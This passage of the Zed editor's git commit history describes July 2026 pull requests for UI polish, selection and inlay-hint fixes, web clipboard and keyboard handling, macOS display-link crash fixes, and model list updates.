make the log entries a bit more useful.

Release Notes:

- N/A
2026-07-14 10:09:31 +00:00
Danilo Leal a496bf0ff6 Add a bunch of stray design refinement throughout (#60937)
This PR is a collection of grab bag UI design refinements across the
entire app. Most of them are minor icon fixes/standardizations, spacing,
and sizing tweaks.

The one change that ended up getting a bit bigger than I initially
anticipated is the debugger panel tabs improvements; added a bunch of
tweaks there to make it look slicker. A relevant change is a small
one-line change to the GPUI div element where it wouldn't add drag-over
styles to elements that aren't initially a hitbox target. Given I wanted
to pull off the drop indicator you see on the video below, this turned
out to be needed:


https://github.com/user-attachments/assets/964b456a-eef0-42bb-a433-7dac54ab8ec8

---

Release Notes:

- N/A
2026-07-14 10:07:58 +00:00
Danilo Leal 0f58431f51 thread_view: Add a component for the terminal's tool call header (#60931)
This PR introduces a component for the terminal tool call's header. It
was growing already pretty big in the terminal tool call render function
in the thread view and hard to visualize in all of its use cases. I got
motivated to do this because I wanted to make the UI for the case when
it runs outside of the sandbox simpler, but it wasn't easy to make that
show up in a true agent thread, and with it being a component, I can
just use the component preview.

Here's a quick screenshot of it, it shouldn't look too different, just a
bit more polished:

<img width="600" alt="Screenshot 2026-07-13 at 6  43@2x"
src="https://github.com/user-attachments/assets/fb222e50-2003-4cf7-9039-7b211db3c86e"
/>

Release Notes:

- N/A
2026-07-14 10:07:33 +00:00
Lukas Wirth f7cf09b367 language_model: Fix compilation on wasm (#60955)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 08:59:10 +00:00
byteoxo 4780220eeb Recognize deno.lock as JSON (#60679)
Reasons: Deno officially states that the deno.lock file is of JSON type.

https://github.com/denoland/vscode_deno/blob/main/schemas/lockfile.schema.json

Release Notes:

- Added JSON language support for `deno.lock` files.
2026-07-14 08:42:25 +00:00
Ruslan SemaginandDanilo Leal 97110fd5a1 Show tag names in git blame tooltips (#60757)
Fetch tag names for commits included in blame data and pass them through
the blame rendering path. Render tag names as chips in the blame hover
tooltip and expanded blame popover. Tag lookup is best-effort, so blame
still renders if tag lookup fails.

> Note: Tag names are currently only fetched for local repositories. For
remote projects (SSH) and collab sessions, blame data travels over the
`BlameBufferResponse` proto message, which doesn't carry tag names yet.

  ## Testing

- `cargo test -p git
test_parse_tag_names_for_lightweight_and_annotated_tags`
  - `cargo check -p git_ui`
  - `cargo check -p editor`
  - `cargo check -p project`

  Manual testing:
  - Opened `git: blame` on a file with a tagged commit.
- Verified tag chips are shown in the blame hover tooltip and expanded
popover.

  ## Self-Review Checklist:

  - [x] I've reviewed my own diff for quality, security, and reliability
  - [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon]

(https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
  - [x] Tests cover the new/changed behavior
  - [x] Performance impact has been considered and is acceptable

  ## Showcase

Before:
<img width="1655" height="660" alt="before"
src="https://github.com/user-attachments/assets/dbefd729-f8df-48a9-8249-83c93518fe76"
/>

After:
<img width="1655" height="660" alt="after"
src="https://github.com/user-attachments/assets/2c1097de-b268-45d9-9d13-0f3e06058603"
/>

---

Release Notes:

- Git: Made tags visible in Git blame tooltips.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-07-14 01:21:38 +00:00
Akshit JoshiandEric Holk 5471ee3f8b Fix CloseProject not switching to neighbor in multi-project workspace (#60524)
Fixes #54772

When "Workspace: close project" was used in a multi-project window, the
handler pre-created an empty "get started" workspace and activated it
before removing the old project group. This prevented
`remove_project_group` from detecting that the active workspace was
being removed, so the neighbor-fallback never ran — leaving the user on
the empty workspace even though other projects were still open.

The fix delegates entirely to `remove_project_group`, which already
handles:
- Computing a neighboring project group
- Prompting for unsaved changes via `prepare_to_close`
- Activating the neighbor (or creating an empty workspace if none
remains)

This matches the behavior of the sidebar "Remove Project" action, which
uses the same `remove_project_group` path.

Release Notes:

- Fixed "Workspace: close project" action not switching to another
project in multi-project workspace

---------

Co-authored-by: Eric Holk <eric@zed.dev>
2026-07-13 22:45:49 +00:00
Apoorva VermaandKirill Bulatov 56ab1c4825 project: Report formatter failures in the status bar again (#60839)
set a formatter that fails (`"formatter": {"external": {"command":
"false"}}`), save, and you get nothing. it just goes to the log, the
"Formatting failed" indicator never shows.

#51605 made the formatter loop log-and-continue instead of bailing (so
unrelated edits don't get reverted, #51490). downside was the pipeline
always returned Ok after that, so the failure flag the indicator reads
always got wiped. this brings back failures from formatters you actually
configured. auto ones stay quiet when they're not around, so no prettier
installed = still a no-op.

only explicit failures show up, bit narrower than before #51605. can
widen it to auto ones too if you want, one line.

Fixes #59988.

Release Notes:

- Fixed formatter failures not showing the "Formatting failed" status
bar indicator

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-13 20:24:53 +00:00
Finn Eitreim 78c0f2522a editor: Fix incorrect inlay hint selection behavior (#60912)
# Objective

Fixes #48141

The issue is that there are certain situations where an Inlay hint,
specifically hints that appear to the left of whatever item they are
referring to, e.g. function argument hints, will be selected
incorrectly.


https://github.com/user-attachments/assets/b6d60bad-6999-481b-a1c7-420d3ee113f8

As you can see in the video, in both a modal and non-modal editor, as
soon as you include `(` (or the empty space between the first and second
argument) the hint gets highlighted as well.

## Solution

It is really important to note here that there is no issue with the
actual selection semantics, inlay hints don't get truly selected in the
sense that they don't count as buffer text and if you e.g. copy a
selection with a hint in it it doesn't get copied. A second thing to
note is that a fix that looks good for modal editing might not look good
for regular editing, thats largely what sank the previous attempt to fix
this issue (#51219).

This video is from #51219, but earlier versions of my fix suffered from
the exact same issue.


https://github.com/user-attachments/assets/16452530-1918-47da-9fd4-87c285284959

The cursor behavior for an active selection in a non-modal editor and
when there isn't a selection are different, and right now the behavior
is wired for the non-selection case, the solution to this is to separate
how things display with a selection from the other behavior. !I do not
change the non-selection behavior in any way!

Inlay hints at the boundary of a selection should be excluded, but hints
inside of a selection should be part of the contiguous selection. We can
reuse the `DisplayPointConverter` to do this. My original solution was
to use `isomorphic_display_point_ranges_for_buffer_range`, which maps a
buffer offset range into a `DisplayPoint` range that excludes Inlays,
except it actually maps to potentially several ranges, all the buffer
text *in between* inlay hints. By just taking the start of the first
sub-range, and the end of the last, we get the correct range that we are
looking for. The function I added,
`contiguous_display_point_range_for_buffer_range` basically just does
exactly that, and cut out all the extra work of creating a bunch of
intermediate ranges if it was a large selection with lots of inlays.

Then we can set the cursor head based on this range, this gives the
correct behavior for non-vim mode cursors, the vim mode cursor is
handled by other code after we set that anyway, so vim mode behavior is
unchanged.

These code changes are in `SelectionLayout::new`
```rust 
        let buffer_snapshot = map.buffer_snapshot();
        let point_selection = selection.map(|p| p.to_point(buffer_snapshot));
        let display_selection = point_selection.map(|p| p.to_display_point(map));
        let mut range = display_selection.range();
        let mut head = display_selection.head();
        if !line_mode {
            let offset_range = point_selection.start.to_offset(buffer_snapshot)
                ..point_selection.end.to_offset(buffer_snapshot);
            if let Some(contiguous_range) =
                map.contiguous_display_point_range_for_buffer_range(offset_range)
            {
                range = contiguous_range;
                // Keep the cursor attached to the highlight boundary; the
                // anchor-bias display position may sit on the far side of a
                // boundary inlay the highlight excludes.
                head = if selection.reversed {
                    range.start
                } else {
                    range.end
                };
            }
        }
```

Heres the new behavior:


https://github.com/user-attachments/assets/cbbd53d6-bbea-4c50-91b5-23eaccd5d9d7

## Testing

added `test_selection_layout_around_inlay`, that fails on main currently
and passes with my changes. As far as manual testing the setup is pretty
easy, this is generally pretty language agnostic and can be tested
anywhere with function parameter hints.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- editor: Fixed rendering issues with selections over inlay hints.
2026-07-13 18:59:49 +00:00
Baris Palaska 5d447d4223 gpui_web: Only prevent default for keyboard events the app handled (#60889)
# Objective

The web platform called `event.preventDefault()` unconditionally before
dispatching every keydown and keyup, destroying all browser defaults
(reload, zoom, tab search, find, address bar) whether or not the app
used the key. The dispatch result already carries the answer:
`!propagate` means a keybinding matched or a handler consumed the
keystroke in the current focus context.


## Solution

Prevent the default only when the app consumed the keystroke, when the
printable character was inserted into the input handler, or mid-IME
composition. Unbound chords now fall through to the browser, and the
behavior is focus-aware: a chord bound in an editor is consumed there
but keeps its browser default when nothing that binds it is focused.


## Testing

Tested locally.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-07-13 18:53:17 +00:00
Danilo Leal 90b3aa0b3b picker: Improve multi-select discoverability and rendering (#60919)
This PR reworks how multi-select mode is rendered in pickers (only used
by the file finder and text finder).

The "Multi Select" entry previously lived inside the footer's Actions
menu, which was hard to discover and its toggle checkmark misaligned the
menu's keybinding column. This PR changes to an icon button at the
far-roght edge of the search editor, with a tooltip showing the
keybinding to toggle it.

Also made each list item use the actual Checkbox component instead of a
bespoke re-implementation of it. And in doing so, added a few design
improvements to the list item so that it received the checkbox while
preserving proper styles for each interaction state, as well as
displaying the keybinding to select the item or check the item.

Here's a quick video, showing these changes off:


https://github.com/user-attachments/assets/e142f7d1-87ba-4258-844b-953ed06237bd

Release Notes:

- Improved multi-select in the file finder and text finder: the toggle
now lives in the search bar with a `cmd-shift-s` keybinding, and
selection checkboxes render inside list items.
2026-07-13 18:21:15 +00:00
Dario Griffo bd72919555 docs: Update community Debian mirror domain to deb.griffo.io (#60909)
The community-maintained Debian repository linked in the Linux install
docs moved from `debian.griffo.io` to `deb.griffo.io` to comply with the
[Debian trademark policy](https://www.debian.org/trademark) (Debian
trademarks may not be used in domain names). Same repository, packages,
and signing key; the old domain serves permanent redirects, so existing
links keep working — this just points the docs at the canonical URL.

I maintain the repository in question.

Release Notes:

- N/A
2026-07-13 17:56:15 +00:00
Kirill Bulatov 4884a7b46e Fix CLI split diff lhs not getting a language registered (#60914)
Closes https://github.com/zed-industries/zed/issues/60751

Release Notes:

- Fixed split file diff missing syntax highlighting
2026-07-13 17:55:34 +00:00
Kunall Banerjee c399451ca0 settings_ui: Open ACP docs from Settings UI correctly (#60881)
## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #60822.

---

Release Notes:

- Fixed broken handler for opening ACP documentation from the Settings
UI
2026-07-13 16:38:11 +00:00
Cameron Mcloughlin 2268045a11 a11y: Landmarks and menu improvements (#60397)
Fixes menu a11y, and adds landmarks with `F6`-navigation.

Also fixes a GPUI bug, and adds debug actions for dumping a11y tree
info.

Since `F6` was already in use by the pause debugger keybind, also
tightens up the debugger keybind context so they require an active
debugger session. When there is one active, `F6` stays as pause
debugger. `ctrl-F6` always works to go to the next landmark.

Also adds an "accessible mode" setting. Currently, this only controls
whether we show all menus all the time, but I suspect it will expand
significantly in the future.

Also adds `.aria_keyshortcuts()` API, but it's not wired up within
accesskit adapters, so is not yet reported to screen readers.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-13 16:37:28 +00:00
Smit Barmase a21e87c077 git_ui: Fix remote branches missing from branch diff base picker (#60765)
The branch picker collapses remote branches that are tracked by a local
branch (e.g. `origin/main` when local `main` tracks it). That makes
sense for checkout, where the remote ref is redundant, but it was also
applied to the branch diff base picker, where `main` and `origin/main`
can point to different commits. As a result, once you switched the diff
base from `origin/main` to `main`, there was no way to switch back.

The tracked-remote collapsing is now only applied in checkout mode (no
changed here). The select (diff base) picker lists both local branches
and their remote upstreams.

Release Notes:

- Fixed remote branches (e.g. `origin/main`) not appearing in the branch
diff base picker, making it impossible to switch back after changing the
base to another branch.
2026-07-13 15:21:35 +00:00
Richard Feldman 96ce8f2a05 gpui_macos: Replace per-window CVDisplayLinks with a per-display registry (#60696)
Fixes ZED-7XR

CVDisplayLink has no safe teardown: `CVDisplayLinkStop` only flags the
io thread to exit "soon" and returns, `CVDisplayLinkRelease` frees the
link immediately, and there is no way to learn when a final output
callback has finished. This produced two distinct use-after-free crash
classes on the display-link thread: the io thread reading the freed
link's internals (`CVHWTime::reset`, worked around by leaking the link
in #32116), and a straggler output callback dereferencing the freed
dispatch source through its context pointer
(`dispatch_source_merge_data`, ZED-7XR). Because we tore down a
`DisplayLink` on every resize tick, window activation, and occlusion
change, the existing workaround also leaked a stopped CVDisplayLink per
teardown, unboundedly.

This replaces per-window links with a static registry holding one
immortal `CVDisplayLink` per display. Windows subscribe to their
display's link with the dispatch source that paces their frames; the
output callback's context is a display id rather than a pointer, so the
only memory it ever dereferences is the registry itself, under its lock.
Links start and stop at subscriber-count edges (so multiple windows on
one display can't interleave starts/stops incorrectly), and a window's
dispatch source lives for the life of the window, is removed from the
registry on close, and is then genuinely released. Both crash classes
become unreachable — the link because it is never released, the source
because a straggler callback either finds it live in the registry or
doesn't find it at all — and there are no leaks and no `mem::forget`.
Since we never hold the registry lock across CoreVideo calls, no lock
cycle through CVDisplayLink's undocumented internal locks is possible;
the module doc comment spells out the invariants.

This supersedes #60481, which fixed ZED-7XR by leaking the dispatch
source on teardown.

Release Notes:

- Fixed a rare crash on macOS when closing, resizing, or switching
between windows, and eliminated a memory leak in display-link teardown
2026-07-13 14:30:50 +00:00
Baris Palaska 084b5d21f6 gpui_web: Implement clipboard write and paste (#60890)
# Objective

write_to_clipboard was a no-op and read_from_clipboard returned None.

## Solution

Writes go through the browser's asynchronous Clipboard API,
fire-and-forget, invoked synchronously inside the user's input event so
the user-activation requirement holds.

Reads cannot be implemented the same way: the async clipboard read API
cannot fit read_from_clipboard's synchronous signature. Paste is instead
delivered by a DOM paste listener on the hidden input, whose
ClipboardEvent exposes clipboardData synchronously; the text feeds the
active input handler. This covers keyboard-, menu-bar- and
context-menu-initiated paste. Note the keyboard path requires the paste
chord's keydown to reach the browser unconsumed (apps should not bind
cmd/ctrl-v on web).

## Testing

Tested locally

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-07-13 14:22:44 +00:00
Ahmed GhaitandChris Biscardi 8906914149 agent: Show MCP tool primary argument in tool-call header (#54604)
## Problem

Built-in tools like `Fetch` render their primary argument next to the
tool name in the collapsed tool-call header (e.g. `Fetch
https://example.com`). MCP tools don't — they always show `Run MCP tool
<name>` and the argument is hidden inside the expandable "Raw Input"
JSON block.

For Playwright, fetch, search, or any MCP tool where one argument
carries all the context, this makes every call opaque. You have to click
to expand just to see which URL is being opened or which file is being
read.

Before:

```
⊙ mcp__playwright__open_url_in_browser
  [click to expand]
  Raw Input:
  {
    "url": "https://linkedin.com/in/neuodev"
  }
```

After:

```
⊙ Run MCP tool `mcp__playwright__open_url_in_browser` https://linkedin.com/in/neuodev
```

## Root cause

`ContextServerTool::initial_title` at
`crates/agent/src/tools/context_server_registry.rs` discards the input:

```rust
fn initial_title(&self, _input: serde_json::Value, _cx: &mut App) -> SharedString {
    format!("Run MCP tool `{}`", self.tool.name).into()
}
```

Built-in tools read the input (`fetch_tool.rs`: `format!("Fetch {}",
MarkdownEscaped(&input.url))`) but the generic MCP path never did.

## Change

When the MCP tool's input is a JSON object with exactly one
string-valued field, inline that value next to the tool name. All other
shapes (multi-field objects, non-string values, null/empty input) fall
back to the existing `Run MCP tool <name>` label, so behavior is
unchanged for them.

- Value is truncated at 120 chars with `…` on overflow (char-safe, not
byte-safe — "café" won't panic).
- Value is run through `MarkdownEscaped` so markdown metacharacters
render literally.
- Single-string heuristic was chosen because the MCP spec has no
standard field for a display template, and the common case (`url`,
`path`, `query`, `selector`, `name`) is covered. I considered honoring
`Tool.annotations.title` or `_meta["zed/title"]` as a template — happy
to follow up with that if the team prefers an opt-in mechanism, but
wanted to start with something that works out of the box for every
existing MCP server.

## Tests

Added 10 unit tests in the existing `mod tests` block covering: happy
path, no args, null input, multi-field fallback, non-string fallback,
truncation, markdown escaping, multibyte chars, and empty-string
preservation.

`cargo check -p agent --tests` passes locally. I couldn't run the full
test binary on my machine because `wasmtime-c-api-impl` (a transitive
test-dep) needs `cmake`, but the new code is pure string-manipulation
with no wasm/runtime touch — CI should cover.

## Scope

One file, +127/-3. No behavior change for any tool shape other than
single-string-input MCP tools.

## Per CONTRIBUTING.md

Happy to convert to a discussion first if the team prefers — didn't see
a tracking issue for this. Also filed under CLA (signed).

Release Notes:

- Show MCP tool primary argument in tool header if space allows

---------

Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
2026-07-13 14:00:40 +00:00
Danilo Leal 6b2857feab Revert "settings_ui: Shrink constraint on minimum window width (#60786)" (#60903)
Allowing the settings UI to shrink smaller than that size can easily
cause UI states where the whole window becomes unusable. The previously
defined 900px size was defined so that those states did not happen. I
appreciate how having such minimum size can be a bit of a hassle when
the settings window is used with window managers, but given it's such a
transient window (i.e., one which you won't always have open all the
time) I think it's better to stay on the trade-off side of safety here.

As a quick example, it doesn't make sense to me to allow the UI to reach
this state:

<img width="300" alt="Screenshot 2026-07-13 at 9  26@2x"
src="https://github.com/user-attachments/assets/f2aebe21-293b-468f-b03e-37cd7305a9c5"
/>

---

Release Notes:

- N/A
2026-07-13 13:56:23 +00:00
Karsten 8e06c323ae Drop the unused avif feature from the image dependency (#60897)
# Objective

Every build of zed (and of every downstream gpui consumer) currently
compiles rav1e, a full AV1 video encoder, because `image`'s default
`avif` feature is enabled. That feature only provides `AvifEncoder`;
AVIF *decoding* requires the separate, non-default `avif-native` feature
(dav1d). So AVIF files do not decode anywhere in zed today, nothing
encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e
plus its support crates are dead weight in every clean build.

## Solution

Pin the workspace `image` dependency to its default feature set minus
`avif`.

No behavior changes: AVIF files fail to decode exactly as before, and
`ImageFormat::Avif` still exists (the enum is not feature-gated), so the
`image_viewer` match arm compiles unchanged. The `"avif"` entry in
gpui's supported-extension list is deliberately left untouched to keep
the diff minimal; loading such files fails identically before and after.

## Testing

- `cargo metadata` node diff (before vs after, all 1832 resolved
packages): the only change in the entire graph is `image` losing
`avif`/`default`/`default-formats`.
- `cargo tree -i rav1e` on the Linux host, plus `--target
aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse
dependencies on any platform.
- `rg -i avif crates/` finds only string labels (an extension list in
`gpui`, a format name in `image_viewer`, an icon mapping in `theme`);
`AvifEncoder` is never referenced.
- `cargo check -p gpui` passes.
- Isolated probe crate depending on image 0.25.10 alone (cold builds,
Linux, 16 threads), default vs default-minus-avif: release drops from
191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from
75 to 42 CPU-seconds and 549 to 342 MB.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (n/a:
manifest-only change)
- [x] The content adheres to Zed's UI standards (n/a: no UI change)
- [x] Tests cover the new/changed behavior (no behavior change; CI
covers compilation)
- [x] Performance impact has been considered and is acceptable
(build-time improvement only)

---

Release Notes:

- N/A
2026-07-13 12:24:24 +00:00
94b6d377ba pickers: Add multi-select support (#59931)
Users can now Cmd+click multiple files in the file picker and press
Enter to open them all at once. Tab can also be used to select items
without clicking, advancing the cursor automatically.

# Objective


Currently, when opening the file picker (Cmd+P), users can only open one
file at a time. This adds multi-select support so users can select
multiple files and open them all at once.

Fixes #59818

## Solution

Added a `selected_indices` set to `Picker` to track which items the user
has toggled into a multi-selection. Regular clicks still open a file
immediately (unchanged behavior).
Cmd+clicking adds a file to the selection without opening it, and
pressing Enter opens all selected files at once. A `confirm_multi`
method was added to the delegate trait so individual delegates (like the
file finder) can handle opening multiple files with a safe fallback for
delegates that don't support it. Multi-selection is cleared when the
picker
is dismissed or the search query changes. Selected items show a
background highlight and a focused left border so the user always knows
what's selected.



## How to use it

1. Open the file or test picker.
2. Search and either Cmd+click or tab it to add it to the selection (the
file will not open yet).
3. Repeat for any other files you want to open.
4. To deselect a file, Cmd+click it again.
5. Alternatively, hover over an item and press Tab to select it with the
keyboard, the cursor automatically moves to the next item so you can
keep selecting quickly.
6. Once you have all the files you want, press Enter to open them all at
once.


## Testing

Tested manually on macOS.

- **Single select:** Clicking on a file opens it directly, which is the
existing behavior and remains unchanged.
- **Multi-select via Cmd+Click:** Holding Cmd and clicking multiple
items adds them to the selection. Cmd+clicking an already-selected item
deselects it. Pressing Enter opens all selected files at once.
- **Multi-select via Tab:** Hovering over an item and pressing Tab
selects it without clicking or opening it, allowing keyboard-driven
multi-selection.

## Showcase

**Single select:** 
<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 33 PM"
src="https://github.com/user-attachments/assets/8f9d4408-0688-4619-807a-affd6dc66f21"
/>








Opened single file

<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 38 PM"
src="https://github.com/user-attachments/assets/34ffacfd-b8ed-4898-beaa-bd5e47ebf682"
/>












- **Multi-select:**
- Selecting multiple files
<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 22 PM"
src="https://github.com/user-attachments/assets/a7562fe8-9bd2-40ba-8bb4-12909ccefed7"
/>









Opened multiple files

<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 42 PM"
src="https://github.com/user-attachments/assets/c0c9e24c-86b7-45bf-898d-05068d5d7e3a"
/>





## Release Notes:
- Added multi-select to the file and text picker: Cmd+click or tab to
select multiple files, then open them all at once.

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Yara <git@yara.blue>
2026-07-13 12:19:09 +00:00
Dino d8ecc302c6 fs: Update trash crate version (#60899)
# Objective

Fix errors in Windows when trashing files from the Git Panel. Closes
#60716.

## Solution

The solution and discussion is available at
https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix
was fully done on the `trash` crate. Original discussion of this issue
can be found at https://github.com/zed-industries/zed/pull/59595 .

## Testing

Testing was performed manually on a Windows machine by updating Zed's
`fs` crate dependencies to point at the updated code and then building
from source and testing out the same exact path, namely:

1. Create a new untracked file
2. Trash the file from the Git Panel's context menu
3. Confirm that, after confirming that you wish to trash the file, the
file is trash and no error is shown

Since this whole trash-tracking logic was implemented in the context of
the project panel's undo system, I also confirmed that the changes in
the crate's code didn't affect trashing and restoring on Windows.

## Self-Review Checklist:

N/A

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518
</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02
</details>

---

Release Notes:

- Fixed issue when trashing untracked files in Git Panel on Windows
2026-07-13 12:14:37 +00:00
Vlad Ionescu ad5763eba4 opencode: Model updates (GPT 5.6 + Grok 4.5) (#60852)
# Objective

Adding newly-released OpenCode models.

## Solution

**OpenCode Go**:
- no changes

**OpenCode Zen**:
- added GPT 5.6 Luna, GPT 5.6 Terra, GPT 5.6 Sol using raw data from
Models.dev repo
(https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models
and
https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/openai)
- added Grok 4.5 using raw data from Models.dev repo
(https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models/grok-4.5.toml
and
https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/xai/grok-4.5.toml)

**OpenCode Free**:
- as per
https://github.com/zed-industries/zed/issues/56869#issuecomment-4466637648,
no changes as it's unclear what models are long-term free models

## Testing

**Not tested at all**, since I don't have an OpenCode Zen subscription
(since I am in the EU, I think I am also blocked from using Grok?).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

N/A

---

Release Notes:

- Agent: OpenCode Zen model updates (added GPT 5.6 Luna, GPT 5.6 Terra,
GPT 5.6 Sol, and Grok 4.5)
2026-07-13 12:13:49 +00:00
d7c922c4a3 agent: Treat context window overflows as prompt-too-large errors (#60525)
Map OpenAI's context_length_exceeded errors (both the in-stream error
events sent by the Responses API / ChatGPT Codex backend and HTTP 400
responses carrying the code) to
LanguageModelCompletionError::PromptTooLarge. This stops pointless
retries and surfaces the dedicated token-limit UI instead of a raw error
string.

Also record a synthetic request token usage when a completion fails with
PromptTooLarge, so the context indicator reports Exceeded rather than
the stale usage of the last successful request, and the next prompt
qualifies for auto-compaction.

Ought to help a bit with
https://github.com/zed-industries/zed/issues/59600

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-13 11:08:22 +00:00
Lukas Wirthandzed-zippy[bot] 905e955a70 gpui: Implement window attention (#58779)
Release Notes:

- On agent notifications, the corresponding zed window will now mark
itself for OS level attention

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-13 11:03:51 +00:00
Apoorva VermaandKirill Bulatov 1c5b2b815b Use buffer line numbers when copying file locations (#60781)
# Objective

Fixes #54250

`editor: copy file location` copies the row you're on in the
multi-buffer, not the row in the actual file. In a git diff view with
collapsed lines it copies the wrong line number.

## Solution

It read the rows straight off the selection, which is in multi-buffer
coordinates. `ClipboardSelection::for_buffer` already handles this with
`range_to_buffer_range`, so I used the same thing. Path and line now
come from the same buffer.

`range_to_buffer_range` returns nothing when the selection ends in a
different buffer than it starts in, which you can do in a git diff view.
Rather than copy nothing, it falls back to the cursor's buffer.

## Testing

Three tests: a multi-buffer excerpt, a selection dragged across two
files, and a plain single-file editor. The multi-buffer ones fail on
main; the singleton one passes either way, so normal editors are
unaffected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `editor: copy file location` copying the wrong line number in
multibuffers
([#54250](https://github.com/zed-industries/zed/issues/54250)).

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-13 10:51:59 +00:00
HuaGu-Dragon a12ed0fbaf vim: Remap cursor position with display_point (#60755)
# Objective

- Fixes #53650
- Possibly also fixes #57956 (needs confirmation)

## Solution

- Replace the direct `DisplayPoint::new(row, col)` construction with a
proper buffer-point-to-display-point
- This goes through the full inlay → fold → tab → wrap → block pipeline
and correctly accounts for any inlay hints on the target line.

## Testing

- Added a regression test for multi-cursors with inlay hints in helix
mode

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `Shift+C cursor` position with inlay hints in helix mode
2026-07-13 10:11:29 +00:00
Richard Feldman 89e8a4b9ec gpui_windows: Harden DirectWrite and DirectX text rendering (#60124)
This hardens the Windows text rendering path in gpui_windows against
undefined behavior and out-of-bounds access. DirectWrite hands back
glyph-run arrays (glyph indices, advances, offsets) and cluster maps as
raw pointers that may be null; these are now interpreted through a
shared `slice_from_nullable` helper that treats a null pointer with zero
length as an empty slice and returns `E_INVALIDARG` when a null pointer
arrives with a nonzero length, instead of constructing a slice from a
null pointer. It also fixes a provenance bug: the renderer context
passed to `IDWriteTextLayout::Draw` was derived via `&raw const` from a
non-mut binding, but the `DrawGlyphRun` callback recovers that pointer
and writes through it, which is undefined behavior under Stacked/Tree
Borrows; the binding is now `mut` and the pointer is derived from `&raw
mut` so its provenance matches the write (codegen is unchanged).

On the DirectX side, the atlas upload is now bounded by the source slice
length so a mismatched destination region cannot read past the end of
the source, and the color-glyph staging texture is unmapped after
